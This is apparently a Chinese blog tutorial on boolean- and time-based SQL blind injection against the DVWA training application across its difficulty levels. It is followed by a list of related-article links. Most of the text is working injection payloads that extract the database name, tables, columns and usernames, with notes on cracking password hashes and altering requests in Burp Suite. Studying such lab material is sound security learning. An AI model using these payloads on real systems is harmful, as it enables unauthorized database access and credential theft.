一、盲注

与sql注入区别:

盲注只回复是或否,Sql注入回复详细信息;

过程:

1、判断是否存在注入,注入时字符型还是数字型

2、猜解数据库的长度,猜解数据库的名称

3、猜解数据库中有几个表,猜解表的长度,猜解表的名称

4、猜解表中有几个字段、猜解字段长度,猜解字段名称

5、猜解数据

类型:

基于布尔型的盲注

基于时间的盲注

基于报错的盲注

二、思路

手工盲注,因为服务器只会回答存在或者不存在,所以通过设定是否条件,逐步接近想要知道的答案(类似于猜价格)。因为手动注入过于繁琐,这里只是为了理解其原理,所有实验中大多都已知条件真假,是采用反证法来验证语法的正确,节约时间,完整的过程由程序来完成更加合适。

三、sql盲注——low

实验环境:

源码分析

未对参数进行任何检查、过滤,存在明显sql注入漏洞,返回结果只有种,user id exiets in the database;和user id is missing from the database

  • 基于布尔型的盲注

1、判断是否存在注入,注入时字符型还是数字型

证明存在字符型注入漏洞

2、猜解数据库的长度,猜解数据库的名称

1' and length(database())=1#  //尝试数据库库名长度是否为1,当然这是只有一个库的情况

1不成功,接着尝试,直到返回已存在

证明整个库名长度为4

①猜解第1个字母

采用二分法的方式,逐步逼近,得到字符,substr函数用法参见九(附录)

1' and ascii(substr(database(),1,1))>97#

类似最终缩小范围,确定为100(d)

②猜解第2个字母

类似最终缩小范围,确定为118(v)

③猜解第3个字母

④猜解第4个字母

所以数据库名就是dvwa

3、猜解数据库中有几个表,猜解表的长度,猜解表的名称

①猜解表的个数

1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2#

②猜解第一个表的表名长度

1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9#

这里出现了limit,再举一个例子,方便理解limit

1' and length(substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 0,1),2))=8#

③猜解表2的表名长度

1' and length(substr((select table_name from information_schema.tables where table_schema=’dvwa’  limit 1,1),1))=5#

④猜解表1名称

先猜解第一个字母,依旧是二分法逼近,最后得到是g

1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=103#

依次类推最后得到表1完整名称是guestbook,这个表并不是我们想要了解的,所以去看表2

⑤猜解表2名称

1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=117#

依次猜解得到表2的名称是users,就搞他了

4、猜解表中有几个字段、猜解字段长度,猜解字段名称

1' and (select count(column_name) from information_schema.columns where table_name='users')=8#

猜解字段长度

1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7#

猜解字段名称(我需要知道数据库中这个users表的每一列的列名)

1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=117#

第二列的第一个字母只需修改limit 为1 1 1

5、猜解数据

上一步最后得到各列的列名,这里以user和password为例

①猜测第一个用户的用户名为admin,则第一个字母为a,测试

1' and ascii(substr((select user from users limit 0,1),1,1))=97#

第二个字母d

1' and ascii(substr((select user from users limit 0,1),2,1))=100#

第三个字母m

1' and ascii(substr((select user from users limit 0,1),3,1))=109#

②另一个例子:第二个用户的用户名Gordonb

第一个字母g

1' and ascii(substr((select user from users limit 1,1),1,1))=103#

第二个字母o

1' and ascii(substr((select user from users limit 1,1),2,1))=111#

③再举一个例子:第三个用户的用户名pablo

第一个字母p

1' and ascii(substr((select user from users limit 3,1),1,1))=112#

第二个字母a

1' and ascii(substr((select user from users limit 3,1),2,1))=97#

当然上面这些猜解都是在已知用户名密码的情况下,进行的逆向的验证,方便理解各参数的作用,在真实sql盲注时,我们需要依照此规律,进行循环的遍历。最终得到所有的用户名。

由于在该源码中,对于密码进行了hash,我们需要繁琐的遍历,依次得到所有账户对应的密码hash值,再对该hash值碰撞攻击(在网站中搜索该hash值对应的明文)

  • 基于时间的盲注

猜解步骤与基于布尔型的盲注基本相同,只是将判定条件换为sleep(5)是否执行

1、判断是否存在注入,注入时字符型还是数字型

不要去关注输出结果,这里如果时字符型注入,则浏览器会延时等待五秒钟,若不是,则会很快返回信息。这里等待了五秒,是字符注入

2、猜解数据库的长度,猜解数据库的名称

1' and if (length(database())=4,sleep(5),1)#

猜解数据库名:

1' and if (ascii(substr(database(),2,1))=118,sleep(5),1)#

//第二个字母是v

1' and if (ascii(substr(database(),3,1))=119,sleep(5),1)#

//第三个字母是w

1' and if (ascii(substr(database(),4,1))=97,sleep(5),1)#

//第四个字母是a

依次验证出数据库全名为dvwa

3、猜解数据库中有几个表,猜解表的长度,猜解表的名称

①dvwa库中表的个数

1' and if((select count(table_name) from information_schema.tables where table_schema=‘dvwa’)=2,sleep(5),1)#

②得到表的个数2后,猜解第一个表的表名长度

1' and if(length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9,sleep(5),1)#

③猜解第二个表的长度

1' and if(length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=5,sleep(5),1)#

也可以这样写

1' and if(length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),2))=4,sleep(5),1)#

④猜解表1表名

1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=103,sleep(5),1)#

//这里解析出了字母g

1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),9))=107,sleep(5),1)#

//这里解析出了字母k

依次解析出表1名称为guestbook

⑤猜解表2表名

1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=117,sleep(5),1)#

//这里猜解出字母u,验证成功

1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),2))=115,sleep(5),1)#

//这里猜解出字母s,验证成功

1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),3))=101,sleep(5),1)#

//这里猜解出字母e,验证成功

依次猜解得到表名users

4、猜解表中有几个字段、猜解字段长度,猜解字段名称

①猜解表中有几个字段(users表)

1' and if((select count(column_name) from information_schema.columns where table_name='users')=8,sleep(5),1)#

②猜解每个字段长度(以user_id为例)

1' and if(length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7,sleep(5),1)#

//验证得出user_id字段长度为7

③猜解字段名称(以user_id为例)

1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=117,sleep(5),1)#

//这里猜解的是字母u

5、猜解数据

1' and if(ascii(substr((select user from users limit 0,1),1,1))=97,sleep(5),1)#

//admin用户的a

1' and if(ascii(substr((select user from users limit 1,1),1,1))=103,sleep(5),1)#

// Gordonb用户的第一个字母g

1' and if(ascii(substr((select user from users limit 3,1),1,1))=112,sleep(5),1)#

/ pablo用户的第一个字母p

四、sql盲注——medium

源码分析

利用mysql_real_escape_string函数对特殊符号进行转义,同时设置下拉菜单,控制用户输入,但是可以通过burpsuite抓包改包,存在数据型sql注入

  • 基于布尔型的盲注

余下操作与low级别类似,只是改包位置不同,结尾不用加#

  • 基于时间的盲注

同上,观察延迟

五、sql盲注——high

源码分析

使用limit限制,但是可以通过#将其注释,存在字符型注入漏洞

需要注意,high级别不适宜使用基于时间的盲注,因为服务器会随机指定延迟时间,容易引起误判。

  • 基于布尔型的盲注

余下操作与low级别一致。

六、sql注入——impossible

查看源码                      

使用pdo技术,没得玩,同时返回的查询结果为1,才会输出

七、附录

Substr用法:

实例:

$rest1 = substr("abcdef", 0, 0); // returns ""
$rest2 = substr("abcdef", 0, 2); // returns "ab"
$rest3 = substr("abcdef", 0, -1); // returns "abcde"
$rest4 = substr("abcdef", 2,0); // returns ""
$rest5 = substr("abcdef", 2,2); // returns "cd"
$rest6 = substr("abcdef", 2, -1); // returns "cde"
$rest7 = substr("abcdef", -2,0); // returns ""
$rest8 = substr("abcdef", -2,2); // returns "ef"
$rest9 = substr("abcdef", -2,-1); // returns "e"

DVWA——sql盲注相关推荐

  1. DVWA下的SQL注入与SQL盲注

    一.SQL注入 SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作, ...

  2. Dvwa之SQL盲注全级别学习笔记

    SQL盲注 盲注是SQL注入的一种,相比于常规的SQL注入,盲注一般不会返回数据库的数据信息或者语句提示.只会返回管理员设定的特定信息. SQL盲注-测试流程 同样的,和之前DVWA的普通SQL In ...

  3. DVWA靶场-sql盲注

    第八关:SQL Injection(Blind) 盲注 SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻 ...

  4. sql盲注 各种方法拿到 管理员账户和密码

    任务092:手动漏洞挖掘-SQL盲注笔记 介绍 web没有编写好显示过滤有数据库返回的报错信息,黑客可以通过报错信息了判断漏洞存在 下面就是没有过滤好发现了他存在sql漏洞 sql盲注就是看不见他报错 ...

  5. 你不知道的20万sql盲注(速来)

    1盲注基础sql实验 cet 192.168.121.1 win 192.168.121.2 首先登入cet 进入数据库 然后在mysql客户端输入以下命令 use dvwa : 得到当前数据库名称 ...

  6. SQL盲注工具BBQSQL

    SQL盲注工具BBQSQL SQL注入是将SQL命令插入到表单.域名或者页面请求的内容中.在进行注入的时候,渗透测试人员可以根据网站反馈的信息,判断注入操作的结果,以决定后续操作.如果网站不反馈具体的 ...

  7. 让你轻松学会PHP版自动化SQL盲注工具-全库-全表-全字段-全字段值查询

    前言 由于一些个人原因,很久没有研究WEB安全方面的一些问题了(废话四个月前月还发了帖),正好炎炎夏日暑假的生活到来,这个时候我需要的是恶补,恶补,恶补.兜兜转转到了SQL盲注部分,然后在SQL盲注上 ...

  8. sql注入攻击与防御第二版读书笔记二——SQL盲注利用

    寻找并确认SQL盲注 强制产生通用错误 注入带副作用的查询 如 mssql waitfor delay '0:0:5' mysql sleep() 拆分与平衡 5 -> 7-2 常见SQL盲注场 ...

  9. python sql注入漏洞 ctf_CTF-WEB 一个登录框SQL盲注

    一些师兄给了个平台,最近学了很多SQL注入和编写脚本的知识,跃跃欲试,结果这一做就是漫漫长路,还是很多东西不熟悉啊. 首先找注入点: 发现用户名错误和密码错误会分开提示,可以用布尔盲注,(*^▽^*) ...

最新文章

  1. 自定义msi安装包的执行过程
  2. 用神经网络计算甲醛CH2O和亚硝酸HNO2的化学键的键能
  3. 需求澄清_澄清字符串的格式!
  4. node.js 安装使用http-server
  5. CentOS7安装详解
  6. python爬虫:爬取某网站视频
  7. 计算机辅助设计(湖南省首届“湘邮科技杯”大学生程序设计大赛试题)
  8. 【CPLEX】Java调用CPLEX的一些小笔记
  9. Print Screen sysRa PrtSc
  10. 经验10年搞不过卖烧烤的!后入阿里我软件测试是怎么学废的,这些话我想送给一事无成的自学测试们...
  11. Selenium获取浏览器Network数据包
  12. Java LeetCode每日一题-从易到难带你领略算法的魅力(七):Z 字形变换
  13. android定时器课设报告,数显定时器课程设计报告.doc
  14. web端第三方微信登录
  15. 实现基于D3.js的图形动态变化
  16. java clh队列_J.U.C|同步队列(CLH)
  17. VS C#-EXE文件如何将ICO图片添加进去
  18. LeetCode:387.字符串中的第一个唯一字符
  19. 【Python】【setFocus】焦点
  20. 解密车厂押注车载人机交互背后:更丰富的形式,更激烈的战场

热门文章

  1. ISO27001的认证周期及认证详细流程
  2. 详解:驱动程序无法通过使用安全套接字层(SSL)加密与SQL Server 建立安全连接。
  3. Caught exception while allowing TestExecutionListener异常日志
  4. Python Project- Alien_invasion(外星人入侵)
  5. 中国软件企业100强(2004—2005)
  6. 朴实无华之特征选择方法总结
  7. 算法设计与分析: 6-24 最长距离问题
  8. 免费分享-【APP分发系统仿fir.im】新版APP应用分发新版源码支持分发托管运营版源码
  9. 2019 Google Drive Api 上传文件到谷歌云盘 获取分享下载链接
  10. Android OpenGl Es 学习(二):定义顶点和着色器